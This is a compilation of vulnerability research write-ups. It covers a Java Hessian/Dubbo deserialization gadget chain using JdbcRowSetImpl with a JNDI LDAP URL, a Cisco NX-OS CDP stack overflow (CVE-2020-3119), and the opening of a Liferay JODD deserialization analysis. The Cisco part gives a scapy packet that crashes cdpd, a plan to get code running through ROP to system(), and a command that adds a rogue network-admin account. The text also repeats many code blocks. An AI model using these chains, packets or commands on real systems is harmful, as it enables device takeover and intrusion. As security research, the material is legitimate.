JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");

//EqualsBean.beanHashCode is called when deserializing, it will trigger the call ToStringBean.toString
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, obj);

//HashMap.hash is called when deserializing, it will trigger the call EqualsBean.hashCode->EqualsBean.beanHashCode
EqualsBean root = new EqualsBean(ToStringBean.class, item);

//HashMap.put->HashMap.putVal->HashMap.hash
HashMap&lt;Object, Object> s = new HashMap&lt;>();
Reflections.setFieldValue(s, "size", 2);
Class&lt;?> nodeC;
try {
    nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
    nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor&lt;?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);

//ToStringBean.toString() is called when deserializing，it will trigger the call JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup

String jndiUrl = "ldap://localhost:1389/obj";

JdbcRowSetImpl rs = new JdbcRowSetImpl();

rs.setDataSourceName(jndiUrl);

rs.setMatchColumn("foo");

//EqualsBean.beanHashCode is called when deserializing, it will trigger the call ToStringBean.toString

ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, obj);

//HashMap.hash is called when deserializing, it will trigger the call EqualsBean.hashCode->EqualsBean.beanHashCode

EqualsBean root = new EqualsBean(ToStringBean.class, item);

//HashMap.put->HashMap.putVal->HashMap.hash

HashMap<Object, Object> s = new HashMap<>();

Reflections.setFieldValue(s, "size", 2);

Class<?> nodeC;

try {

nodeC = Class.forName("java.util.HashMap$Node");

}

catch ( ClassNotFoundException e ) {

nodeC = Class.forName("java.util.HashMap$Entry");

}

Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);

nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);

Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));

Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));

Reflections.setFieldValue(s, "table", tbl);

Take a look at the trigger process:

Then called the hash method, which called the key.hashCode method:

Then EqualsBean.hashCode-> EqualsBean.beanHashCode is triggered:

Triggered ToStringBean.toString:

This calls JdbcRowSetImpl.getDatabaseMetadata, which triggersJdbcRowSetImpl.connect-> context.lookup:

summary

As can be seen from the above two chains, when Hessian deserialization basically uses deserialization to process the Map type, the call Map.put->Map.putVal-> key.hashCode / key.equals-> ... will be triggered, the subsequent series of starting processes are also related to polymorphic characteristics. Some class attributes are of type Object, which can be set to any class, and the hash Code and equals methods just call Certain methods of properties carry out a subsequent series of triggers. So to find such a gadget chain, we can directly find the classes with hash Code, equals, and read Resolve methods, and then people judge and construct, but this workload should be heavy; or use some chain mining tools, write rules to scan as needed.

Simple analysis of Apache Dubbo deserialization

Apache Dubbo Http deserialization

Let's take a brief look at the HTTP problem mentioned earlier, and directly use the official samples, there is a dubbo-samples-http which can be used directly, put a breakpoint directly in the DemoServiceImpl.sayHello method, and deserialize the data in RemoteInvocationSerializingExporter.doReadRemoteInvocation, using Java Serialization:

Looking at the packet, the obvious ac ed flag:

Apache Dubbo Dubbo deserialization

Also use the official Dubbo-samples-basic, the default Dubbo hessian2 protocol, Dubbo has magically modified the hessian2, but the general structure is still similar, in MapDeserializer.readMap is still similar to Hessian:

Reference

本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/1137/

作者：江 | Categories:技术分享 | Tags: 技术分享

没有评论

CVE-2020-3119 Cisco CDP Stack Overflow Analysis

2020-11-02

Author：Hcamael@Knownsec 404 Team
Time: March 19, 2020
Chinese version:https://paper.seebug.org/1154/

The Cisco Discovery Protocol (CDP) is a link layer protocol used to discover Cisco devices in a LAN.

Recently, Cisco CDP protocol discovered several loopholes, and picked up stack overflow --cve-2020-3119 to analysis ,Armis labs also published analysis paper.

Build the Environment

The CVE-3119 affects Cisco NX-OS system devices, we can find the device version affected by the vulnerability in Cisco Security Center. We can get NX-OS 9.2.3 firmware from Cisco Download Center

First, I tried to use binwalk to decompress the firmware, but I encountered some problems. Too much xz compressed data in NX-OS firmware, binwalk consumes a lot of time when dealing with firmware in this case.

I spent two days without decompressing the firmware. But I can't find a substitute result.

So I decided to find a way to get the firmware up, and I found a software that can perform firmware emulation of Cisco devices -- GNS3.

How To Use GNS3

After we download GNS3, we also need to download GNS3 VM. GNS3 VM as GNS3 server, can run directly using virtual machine, and we use GNS3 control server for firmware simulation.

1.Set GNS3 VM

2.Create a New Template

3.Choose Switches -> Cisco NX-OSv 9000

We find that GNS3 uses qemu to simulate NX-OS, so the firmware we downloaded from the Cisco Download Center requires qcow2 format.

Then Import the corresponding firmware into GNS3 VM。

After the import is completed, we can see the newly added device in the switches column.

4.Connect the NX-OS and Cloud

In the above image, Toolbox-1 is my newly added ubuntu docker template. At the beginning of research, I connected the Toolbox-1 directly to the NX-OS switch.

But then I found out that GNS3 has a template called Cloud(For example Cloud1 in the picture above). The Cloud can represent any NIC on the local device or any NIC on the GNS3 VM.

I have a frequently used ubuntu VM in my Mac. I let the NIC of this ubuntu VM directly connect with the NX-OS switch, this is convenient for my subsequent research.

In the process of research, we can click this straight line on right, use wireshark capture the network traffic.

5.Start all nodes

The last step is to click the start button on the upper toolbar to start all your devices.

NX-OS Switch Binary Research

However, The network is not working yet, and you need to log the switch through several port to configure the Switch. GNS3 will forward the serial port of the Switch through telnet by default. We can see the telnet IP/Port through the upper right corner of the GNS3.

The first time you log in to the switch requires initial setup. After setup, you can log in to the Cisco management shell with the administrator account password you set.

After research we found that qemu started one bootloader, and bootloader start nxos.9.2.3.bin(NX-OS firmware), this is a Linux System. Then the Linux start a Linux VM called guestshell. Under default circumstances, we can only log into this guestshell.

The terminal we use to log in through telnet and configuring Cisco Switch is not bash, this program called vsh.bin.

The vulnerability in this research occurred in a cdpd program, but we can't find the cdpd in guestshell. So we need to find a way to get the terminal of the outer system.

After subsequent research, it was found that there is a python command in vsh, and this python is an nxpython program that exists in the Cisco outer system. So we can use python to get the Linux shell of the Cisco outer system.

Then use the mac address to find the NIC you set up in GNS3, and set the IP address. Then we can directly access the terminal of the Cisco outer system through ssh.

bash
Cisco# python
Python 2.7.11 (default, Feb 26 2018, 03:34:16)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system("/bin/bash")
bash-4.3$ id
uid=2002(admin) gid=503(network-admin) groups=503(network-admin),504(network-operator)
bash-4.3$ sudo -i
root@Cisco#ifconfig eth8
eth8      Link encap:Ethernet  HWaddr 0c:76:e2:d1:ac:07
          inet addr:192.168.102.21  Bcast:192.168.102.255  Mask:255.255.255.0
          UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1
          RX packets:82211 errors:61 dropped:28116 overruns:0 frame:61
          TX packets:137754 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:6639702 (6.3 MiB)  TX bytes:246035115 (234.6 MiB)

root@Cisco#ps aux|grep cdp
root     10296  0.0  0.8 835212 70768 ?        Ss   Mar18   0:01 /isan/bin/cdpd
root     24861  0.0  0.0   5948  1708 ttyS0    S+   05:30   0:00 grep cdp

bash

Cisco# python

Python 2.7.11 (default, Feb 26 2018, 03:34:16)

[GCC 4.6.3] on linux2

Type "help", "copyright", "credits" or "license" for more information.

>>> import os

>>> os.system("/bin/bash")

bash-4.3$ id

uid=2002(admin) gid=503(network-admin) groups=503(network-admin),504(network-operator)

bash-4.3$ sudo -i

root@Cisco#ifconfig eth8

eth8 Link encap:Ethernet HWaddr 0c:76:e2:d1:ac:07

inet addr:192.168.102.21 Bcast:192.168.102.255 Mask:255.255.255.0

UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1

RX packets:82211 errors:61 dropped:28116 overruns:0 frame:61

TX packets:137754 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:6639702 (6.3 MiB) TX bytes:246035115 (234.6 MiB)

root@Cisco#ps aux|grep cdp

root 10296 0.0 0.8 835212 70768 ? Ss Mar18 0:01 /isan/bin/cdpd

root 24861 0.0 0.0 5948 1708 ttyS0 S+ 05:30 0:00 grep cdp

Use Scapy to send CDP packet

Next we will research how to send cdp packets. You can see the cdp packet format in the analysis released by Armis Labs. Similarly, we can also open the cdp of Cisco Switch and view the cdp packets sent by Cisco Switch.

Cisco#conf ter
Cisco(config)# cdp enable
# ethernet 1/7 is the directly connected to ubuntu VM.
Cisco(config)# interface ethernet 1/7
Cisco(config-if)# no shutdown
Cisco(config-if)# cdp enable
Cisco(config-if)# end
Cisco# show cdp interface ethernet 1/7
Ethernet1/7 is up
    CDP enabled on interface
    Refresh time is 60 seconds
    Hold time is 180 seconds

Cisco#conf ter

Cisco(config)# cdp enable

# ethernet 1/7 is the directly connected to ubuntu VM.

Cisco(config)# interface ethernet 1/7

Cisco(config-if)# no shutdown

Cisco(config-if)# cdp enable

Cisco(config-if)# end

Cisco# show cdp interface ethernet 1/7

Ethernet1/7 is up

CDP enabled on interface

Refresh time is 60 seconds

Hold time is 180 seconds

Then we can directly capture the packet of the NIC through wireshark or GNS3. Now, We can research the format of the CDP.

Because I am used to writing PoC using python, I started to study how to use python to send CDP protocol packets, and then I found that scapy has some built-in CDP packet related content.

Here is a simple example:

from scapy.contrib import cdp
from scapy.all import Ether, LLC, SNAP

1 2	from scapy.contrib import cdp from scapy.all import Ether, LLC, SNAP

# link layer
l2_packet = Ether(dst="01:00:0c:cc:cc:cc")
# Logical-Link Control
l2_packet /= LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP()
# Cisco Discovery Protocol
cdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180)
deviceid = cdp.CDPMsgDeviceID(val=cmd)
portid = cdp.CDPMsgPortID(iface=b"ens38")
address = cdp.CDPMsgAddr(naddr=1, addr=cdp.CDPAddrRecordIPv4(addr="192.168.1.3"))
cap = cdp.CDPMsgCapabilities(cap=1)
cdp_packet = cdp_v2/deviceid/portid/address/cap
packet = l2_packet / cdp_packet
sendp(packet)

# link layer

l2_packet = Ether(dst="01:00:0c:cc:cc:cc")

# Logical-Link Control

l2_packet /= LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP()

# Cisco Discovery Protocol

cdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180)

deviceid = cdp.CDPMsgDeviceID(val=cmd)

portid = cdp.CDPMsgPortID(iface=b"ens38")

address = cdp.CDPMsgAddr(naddr=1, addr=cdp.CDPAddrRecordIPv4(addr="192.168.1.3"))

cap = cdp.CDPMsgCapabilities(cap=1)

cdp_packet = cdp_v2/deviceid/portid/address/cap

packet = l2_packet / cdp_packet

sendp(packet)

Trigger the vulnerability

The next step is to research how to trigger the vulnerability. First, scp the cdpd from the switch, and then throw the binary into IDA to find the vulnerability. According to the vulnerability analysis released by Armis Labs, it was found that the vulnerability exists in the cdpd_poe_handle_pwr_tlvs function. The related vulnerability code is as follows:

if ( (signed int)v28 > 0 )
      {
        v35 = (int *)(a3 + 4);
        v9 = 1;
        do
        {
          v37 = v9 - 1;
          v41[v9 - 1] = *v35;
          *(&amp;v40 + v9) = _byteswap_ulong(*(&amp;v40 + v9));
          if ( !sdwrap_hist_event_subtype_check(7536640, 104) )
          {
            *(_DWORD *)v38 = 104;
            snprintf(&amp;s, 0x200u, "pwr_levels_requested[%d] = %d\n", v37, *(&amp;v40 + v9));
            sdwrap_hist_event(7536640, strlen(&amp;s) + 5, v38);
          }
          if ( sdwrap_chk_int_all(104, 0, 0, 0, 0) )
          {
            v24 = *(&amp;v40 + v9);
            buginf_ftrace(1, &amp;sdwrap_dbg_modname, 0, "pwr_levels_requested[%d] = %d\n");
          }
          snprintf(v38, 0x3FCu, "1111 pwr_levels_requested[%d] = %d\n", v37, *(&amp;v40 + v9), v24);
          sdwrap_his_log_event_for_uuid_inst(124, 7536640, 1, 0, strlen(v38) + 1, v38);
          *(_DWORD *)(a1 + 4 * v9 + 1240) = *(&amp;v40 + v9);
          ++v35;
          ++v9;
        }
        while ( v9 != v28 + 1 );
      }

if ( (signed int)v28 > 0 )

{

v35 = (int *)(a3 + 4);

v9 = 1;

{

v37 = v9 - 1;

v41[v9 - 1] = *v35;

*(&v40 + v9) = _byteswap_ulong(*(&v40 + v9));

if ( !sdwrap_hist_event_subtype_check(7536640, 104) )

{

*(_DWORD *)v38 = 104;

snprintf(&s, 0x200u, "pwr_levels_requested[%d] = %d\n", v37, *(&v40 + v9));

sdwrap_hist_event(7536640, strlen(&s) + 5, v38);

}

if ( sdwrap_chk_int_all(104, 0, 0, 0, 0) )

{

v24 = *(&v40 + v9);

buginf_ftrace(1, &sdwrap_dbg_modname, 0, "pwr_levels_requested[%d] = %d\n");

}

snprintf(v38, 0x3FCu, "1111 pwr_levels_requested[%d] = %d\n", v37, *(&v40 + v9), v24);

sdwrap_his_log_event_for_uuid_inst(124, 7536640, 1, 0, strlen(v38) + 1, v38);

*(_DWORD *)(a1 + 4 * v9 + 1240) = *(&v40 + v9);

++v35;

++v9;

}

while ( v9 != v28 + 1 );

}

The follow-up is still based on the contents of the Armis Labs vulnerability analysis article. As long as the Power Request and Power Level are added to the cdp package, the cdpd program crash can be triggered:

power_req = cdp.CDPMsgUnknown19(val="aaaa"+"bbbb"*21)
power_level = cdp.CDPMsgPower(power=16)
cdp_packet = cdp_v2/deviceid/portid/address/cap/power_req/power_level

power_req = cdp.CDPMsgUnknown19(val="aaaa"+"bbbb"*21)

power_level = cdp.CDPMsgPower(power=16)

cdp_packet = cdp_v2/deviceid/portid/address/cap/power_req/power_level

How to exploit

First ,look at the protection of the binary program:

$ checksec cdpd_9.2.3
    Arch:     i386-32-little

    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RPATH:    '/isan/lib/convert:/isan/lib:/isanboot/lib'

$ checksec cdpd_9.2.3

Arch: i386-32-little

RELRO: No RELRO

Stack: No canary found

NX: NX enabled

PIE: PIE enabled

RPATH: '/isan/lib/convert:/isan/lib:/isanboot/lib'

This is a 32-bit program, and only enabled NX and PIE.

Because the cdpd program cannot interact, it can only send all the payloads at one time, so there is no way to leak the address. But because it is a 32-bit program, and the cdpd program will restart automatically after each crash, so we can blast the cdpd program address.

There are a few things to note before writing a exploitation script:

1.After the stack overflow overwrites the return address, it will continue to overwrite the address of the function parameter.

 *(_DWORD *)(a1 + 4 * v9 + 1240) = *(&amp;v40 + v9);

1	(_DWORD )(a1 + 4 * v9 + 1240) = *(&v40 + v9);

Because of the above code, a value needs to be written to the address near the a1 address. If we only cover the return address, you cannot achieve the purpose of command execution by only jumping to an address. So our payload needs to overwrite a1 with a writable address.

2.In the cdpd_poe_handle_pwr_tlvs function, many branches will go to thecdpd_send_pwr_req_to_poed function, and there is a __memcpy_to_buf function in this function. This function limits the length of thePower Requested to less than 40 bytes. Such a short length is not enough for stack overflow. So we cannot go to the branch that will call cdpd_send_pwr_req_to_poed function.

      v10 = *(_WORD *)(a1 + 1208);
      v11 = *(_WORD *)(a1 + 1204);
      v12 = *(_DWORD *)(a1 + 1212);
      if ( v32 != v10 || v31 != v11 )

v10 = *(_WORD *)(a1 + 1208);

v11 = *(_WORD *)(a1 + 1204);

v12 = *(_DWORD *)(a1 + 1212);

if ( v32 != v10 || v31 != v11 )

We need to make this condition evaluate to False and not enter this branch. Therefore, the value of the a1 address to be covered needs to be constructed.

3.The purpose of our use is not to execute execve("/bin/bash"), because there is no interaction, so even if this command is executed, it is useless. So what can we do? First, we can execute the code of the reverse shell. Second, we can add an Administrator account, such as executing the following command:

/isan/bin/vsh -c "configure terminal ; username test password qweASD123 role network-admin"

1	/isan/bin/vsh -c "configure terminal ; username test password qweASD123 role network-admin"

We can achieve these purpose by executing system (cmd). But how to pass the parameters? After research, we found that the contents of the DeviceID related fields in the CDP protocol are stored on the heap, and the heap address is stored on the stack. We can adjust the stack address by ret ROP. This will successfully pass arbitrary parameters to the system function.

Finally, put a demo video:

Reference

本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/1156/

作者：江 | Categories:技术分享 | Tags: 网络安全

没有评论

Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)

2020-11-02

作者：Longofo@知道创宇404实验室
时间：2020年3月27日
英文版本：https://paper.seebug.org/1163/

之前在CODE WHITE上发布了一篇关于Liferay Portal JSON Web Service RCE的漏洞，之前是小伙伴在处理这个漏洞，后面自己也去看了。Liferay Portal对于JSON Web Service的处理，在6.1、6.2版本中使用的是 Flexjson库，在7版本之后换成了Jodd Json。

总结起来该漏洞就是：Liferay Portal提供了Json Web Service服务，对于某些可以调用的端点，如果某个方法提供的是Object参数类型，那么就能够构造符合Java Beans的可利用恶意类，传递构造好的json反序列化串，Liferay反序列化时会自动调用恶意类的setter方法以及默认构造方法。不过还有一些细节问题，感觉还挺有意思，作者文中那张向上查找图，想着idea也没提供这样方便的功能，应该是自己实现的查找工具，文中分析下Liferay使用JODD反序列化的情况。

JODD序列化与反序列化

参考官方使用手册，先看下JODD的直接序列化与反序列化：

TestObject.java

package com.longofo;

import java.util.HashMap;

public class TestObject {
    private String name;
    private Object object;
    private HashMap&lt;String, String> hashMap;

    public TestObject() {
        System.out.println("TestObject default constractor call");
    }

    public String getName() {
        System.out.println("TestObject getName call");
        return name;
    }

    public void setName(String name) {
        System.out.println("TestObject setName call");
        this.name = name;
    }

    public Object getObject() {
        System.out.println("TestObject getObject call");
        return object;
    }

    public void setObject(Object object) {
        System.out.println("TestObject setObject call");
        this.object = object;
    }

    public HashMap&lt;String, String> getHashMap() {
        System.out.println("TestObject getHashMap call");
        return hashMap;
    }

    public void setHashMap(HashMap&lt;String, String> hashMap) {
        System.out.println("TestObject setHashMap call");
        this.hashMap = hashMap;
    }

    @Override
    public String toString() {
        return "TestObject{" +
                "name='" + name + '\'' +
                ", object=" + object +
                ", hashMap=" + hashMap +
                '}';
    }
}

package com.longofo;

import java.util.HashMap;

public class TestObject {

private String name;

private Object object;

private HashMap<String, String> hashMap;

public TestObject() {

System.out.println("TestObject default constractor call");

}

public String getName() {

System.out.println("TestObject getName call");

return name;

}

public void setName(String name) {

System.out.println("TestObject setName call");

this.name = name;

}

public Object getObject() {

System.out.println("TestObject getObject call");

return object;

}

public void setObject(Object object) {

System.out.println("TestObject setObject call");

this.object = object;

}

public HashMap<String, String> getHashMap() {

System.out.println("TestObject getHashMap call");

return hashMap;

}

public void setHashMap(HashMap<String, String> hashMap) {

System.out.println("TestObject setHashMap call");

this.hashMap = hashMap;

}

@Override

public String toString() {

return "TestObject{" +

"name='" + name + '\'' +

", object=" + object +

", hashMap=" + hashMap +

'}';

}

TestObject1.java

package com.longofo;

public class TestObject1 {
    private String jndiName;

    public TestObject1() {
        System.out.println("TestObject1 default constractor call");
    }

    public String getJndiName() {
        System.out.println("TestObject1 getJndiName call");
        return jndiName;
    }

    public void setJndiName(String jndiName) {
        System.out.println("TestObject1 setJndiName call");
        this.jndiName = jndiName;
//        Context context = new InitialContext();
//        context.lookup(jndiName);
    }
}

package com.longofo;

public class TestObject1 {

private String jndiName;

public TestObject1() {

System.out.println("TestObject1 default constractor call");

}

public String getJndiName() {

System.out.println("TestObject1 getJndiName call");

return jndiName;

}

public void setJndiName(String jndiName) {

System.out.println("TestObject1 setJndiName call");

this.jndiName = jndiName;

// Context context = new InitialContext();

// context.lookup(jndiName);

}

Test.java

package com.longofo;

import jodd.json.JsonParser;
import jodd.json.JsonSerializer;

import java.util.HashMap;

public class Test {
    public static void main(String[] args) {
        System.out.println("test common usage");
        test1Common();

        System.out.println();
        System.out.println();

        System.out.println("test unsecurity usage");
        test2Unsecurity();
    }

    public static void test1Common() {
        TestObject1 testObject1 = new TestObject1();
        testObject1.setJndiName("xxx");

        HashMap hashMap = new HashMap&lt;String, String>();
        hashMap.put("aaa", "bbb");

        TestObject testObject = new TestObject();
        testObject.setName("ccc");
        testObject.setObject(testObject1);
        testObject.setHashMap(hashMap);

        JsonSerializer jsonSerializer = new JsonSerializer();
        String json = jsonSerializer.deep(true).serialize(testObject);
        System.out.println(json);
        System.out.println("----------------------------------------");

        JsonParser jsonParser = new JsonParser();
        TestObject dtestObject = jsonParser.map("object", TestObject1.class).parse(json, TestObject.class);
        System.out.println(dtestObject);
    }

    public static void test2Unsecurity() {
        TestObject1 testObject1 = new TestObject1();
        testObject1.setJndiName("xxx");

        HashMap hashMap = new HashMap&lt;String, String>();
        hashMap.put("aaa", "bbb");

        TestObject testObject = new TestObject();
        testObject.setName("ccc");
        testObject.setObject(testObject1);
        testObject.setHashMap(hashMap);

        JsonSerializer jsonSerializer = new JsonSerializer();
        String json = jsonSerializer.setClassMetadataName("class").deep(true).serialize(testObject);
        System.out.println(json);
        System.out.println("----------------------------------------");

        JsonParser jsonParser = new JsonParser();
        TestObject dtestObject = jsonParser.setClassMetadataName("class").parse(json);
        System.out.println(dtestObject);
    }
}

package com.longofo;

import jodd.json.JsonParser;

import jodd.json.JsonSerializer;

import java.util.HashMap;

public class Test {

public static void main(String[] args) {

System.out.println("test common usage");

test1Common();

System.out.println();

System.out.println("test unsecurity usage");

test2Unsecurity();

}

public static void test1Common() {

TestObject1 testObject1 = new TestObject1();

testObject1.setJndiName("xxx");

HashMap hashMap = new HashMap<String, String>();

hashMap.put("aaa", "bbb");

TestObject testObject = new TestObject();

testObject.setName("ccc");

testObject.setObject(testObject1);

testObject.setHashMap(hashMap);

JsonSerializer jsonSerializer = new JsonSerializer();

String json = jsonSerializer.deep(true).serialize(testObject);

System.out.println(json);

System.out.println("----------------------------------------");

JsonParser jsonParser = new JsonParser();

TestObject dtestObject = jsonParser.map("object", TestObject1.class).parse(json, TestObject.class);

System.out.println(dtestObject);

}

public static void test2Unsecurity() {

TestObject1 testObject1 = new TestObject1();

testObject1.setJndiName("xxx");

HashMap hashMap = new HashMap<String, String>();

hashMap.put("aaa", "bbb");

TestObject testObject = new TestObject();

testObject.setName("ccc");

testObject.setObject(testObject1);

testObject.setHashMap(hashMap);

JsonSerializer jsonSerializer = new JsonSerializer();

String json = jsonSerializer.setClassMetadataName("class").deep(true).serialize(testObject);

System.out.println(json);

System.out.println("----------------------------------------");

JsonParser jsonParser = new JsonParser();

TestObject dtestObject = jsonParser.setClassMetadataName("class").parse(json);

System.out.println(dtestObject);

}

输出：

test common usage
TestObject1 default constractor call
TestObject1 setJndiName call
TestObject default constractor call
TestObject setName call
TestObject setObject call
TestObject setHashMap call
TestObject getHashMap call
TestObject getName call
TestObject getObject call
TestObject1 getJndiName call
{"hashMap":{"aaa":"bbb"},"name":"ccc","object":{"jndiName":"xxx"}}
----------------------------------------
TestObject default constractor call
TestObject setHashMap call
TestObject setName call
TestObject1 default constractor call
TestObject1 setJndiName call
TestObject setObject call
TestObject{name='ccc', object=com.longofo.TestObject1@6fdb1f78, hashMap={aaa=bbb}}


test unsecurity usage
TestObject1 default constractor call
TestObject1 setJndiName call
TestObject default constractor call
TestObject setName call
TestObject setObject call
TestObject setHashMap call
TestObject getHashMap call
TestObject getName call
TestObject getObject call
TestObject1 getJndiName call
{"class":"com.longofo.TestObject","hashMap":{"aaa":"bbb"},"name":"ccc","object":{"class":"com.longofo.TestObject1","jndiName":"xxx"}}
----------------------------------------
TestObject1 default constractor call
TestObject1 setJndiName call
TestObject default constractor call
TestObject setHashMap call
TestObject setName call
TestObject setObject call
TestObject{name='ccc', object=com.longofo.TestObject1@65e579dc, hashMap={aaa=bbb}}

test common usage

TestObject1 default constractor call

TestObject1 setJndiName call

TestObject default constractor call

TestObject setName call

TestObject setObject call

TestObject setHashMap call

TestObject getHashMap call

TestObject getName call

TestObject getObject call

TestObject1 getJndiName call

{"hashMap":{"aaa":"bbb"},"name":"ccc","object":{"jndiName":"xxx"}}

----------------------------------------

TestObject default constractor call

TestObject setHashMap call

TestObject setName call

TestObject1 default constractor call

TestObject1 setJndiName call

TestObject setObject call

TestObject{name='ccc', object=com.longofo.TestObject1@6fdb1f78, hashMap={aaa=bbb}}

test unsecurity usage

TestObject1 default constractor call

TestObject1 setJndiName call

TestObject default constractor call

TestObject setName call

TestObject setObject call

TestObject setHashMap call

TestObject getHashMap call

TestObject getName call

TestObject getObject call

TestObject1 getJndiName call

{"class":"com.longofo.TestObject","hashMap":{"aaa":"bbb"},"name":"ccc","object":{"class":"com.longofo.TestObject1","jndiName":"xxx"}}

----------------------------------------

TestObject1 default constractor call

TestObject1 setJndiName call

TestObject default constractor call

TestObject setHashMap call

TestObject setName call

TestObject setObject call

TestObject{name='ccc', object=com.longofo.TestObject1@65e579dc, hashMap={aaa=bbb}}

在Test.java中，使用了两种方式，第一种是常用的使用方式，在反序列化时指定根类型（rootType）；而第二种官方也不推荐这样使用，存在安全问题，假设某个应用提供了接收JODD Json的地方，并且使用了第二种方式，那么就可以任意指定类型进行反序列化了，不过Liferay这个漏洞给并不是这个原因造成的，它并没有使用setClassMetadataName("class")这种方式。

Liferay对JODD的包装

Liferay没有直接使用JODD进行处理，而是重新包装了JODD一些功能。代码不长，所以下面分别分析下Liferay对JODD的JsonSerializer与JsonParser的包装。

JSONSerializerImpl

Liferay对JODD JsonSerializer的包装是com.liferay.portal.json.JSONSerializerImpl类：

public class JSONSerializerImpl implements JSONSerializer {
    private final JsonSerializer _jsonSerializer;//JODD的JsonSerializer，最后还是交给了JODD的JsonSerializer去处理，只不过包装了一些额外的设置

    public JSONSerializerImpl() {
        if (JavaDetector.isIBM()) {//探测JDK
            SystemUtil.disableUnsafeUsage();//和Unsafe类的使用有关
        }

        this._jsonSerializer = new JsonSerializer();
    }

    public JSONSerializerImpl exclude(String... fields) {
        this._jsonSerializer.exclude(fields);//排除某个field不序列化
        return this;
    }

    public JSONSerializerImpl include(String... fields) {
        this._jsonSerializer.include(fields);//包含某个field进行序列化
        return this;
    }

    public String serialize(Object target) {
        return this._jsonSerializer.serialize(target);//调用JODD的JsonSerializer进行序列化
    }

    public String serializeDeep(Object target) {
        JsonSerializer jsonSerializer = this._jsonSerializer.deep(true);//设置了deep后能序列化任意类型的field，包括集合等类型
        return jsonSerializer.serialize(target);
    }

    public JSONSerializerImpl transform(JSONTransformer jsonTransformer, Class&lt;?> type) {//设置转换器，和下面的设置全局转换器类似，不过这里可以传入自定义的转换器（比如将某个类的Data field，格式为03/27/2020，序列化时转为2020-03-27）
        TypeJsonSerializer&lt;?> typeJsonSerializer = null;
        if (jsonTransformer instanceof TypeJsonSerializer) {
            typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;
        } else {
            typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);
        }

        this._jsonSerializer.use(type, (TypeJsonSerializer)typeJsonSerializer);
        return this;
    }

    public JSONSerializerImpl transform(JSONTransformer jsonTransformer, String field) {
        TypeJsonSerializer&lt;?> typeJsonSerializer = null;
        if (jsonTransformer instanceof TypeJsonSerializer) {
            typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;
        } else {
            typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);
        }

        this._jsonSerializer.use(field, (TypeJsonSerializer)typeJsonSerializer);
        return this;
    }

    static {
        //全局注册，对于所有Array、Object、Long类型的数据，在序列化时都进行转换单独的转换处理
        JoddJson.defaultSerializers.register(JSONArray.class, new JSONSerializerImpl.JSONArrayTypeJSONSerializer());
        JoddJson.defaultSerializers.register(JSONObject.class, new JSONSerializerImpl.JSONObjectTypeJSONSerializer());
        JoddJson.defaultSerializers.register(Long.TYPE, new JSONSerializerImpl.LongToStringTypeJSONSerializer());
        JoddJson.defaultSerializers.register(Long.class, new JSONSerializerImpl.LongToStringTypeJSONSerializer());
    }

    private static class LongToStringTypeJSONSerializer implements TypeJsonSerializer&lt;Long> {
        private LongToStringTypeJSONSerializer() {
        }

        public void serialize(JsonContext jsonContext, Long value) {
            jsonContext.writeString(String.valueOf(value));
        }
    }

    private static class JSONObjectTypeJSONSerializer implements TypeJsonSerializer&lt;JSONObject> {
        private JSONObjectTypeJSONSerializer() {
        }

        public void serialize(JsonContext jsonContext, JSONObject jsonObject) {
            jsonContext.write(jsonObject.toString());
        }
    }

    private static class JSONArrayTypeJSONSerializer implements TypeJsonSerializer&lt;JSONArray> {
        private JSONArrayTypeJSONSerializer() {
        }

        public void serialize(JsonContext jsonContext, JSONArray jsonArray) {
            jsonContext.write(jsonArray.toString());
        }
    }
}

public class JSONSerializerImpl implements JSONSerializer {

private final JsonSerializer _jsonSerializer;//JODD的JsonSerializer，最后还是交给了JODD的JsonSerializer去处理，只不过包装了一些额外的设置

public JSONSerializerImpl() {

if (JavaDetector.isIBM()) {//探测JDK

SystemUtil.disableUnsafeUsage();//和Unsafe类的使用有关

}

this._jsonSerializer = new JsonSerializer();

}

public JSONSerializerImpl exclude(String... fields) {

this._jsonSerializer.exclude(fields);//排除某个field不序列化

return this;

}

public JSONSerializerImpl include(String... fields) {

this._jsonSerializer.include(fields);//包含某个field进行序列化

return this;

}

public String serialize(Object target) {

return this._jsonSerializer.serialize(target);//调用JODD的JsonSerializer进行序列化

}

public String serializeDeep(Object target) {

JsonSerializer jsonSerializer = this._jsonSerializer.deep(true);//设置了deep后能序列化任意类型的field，包括集合等类型

return jsonSerializer.serialize(target);

}

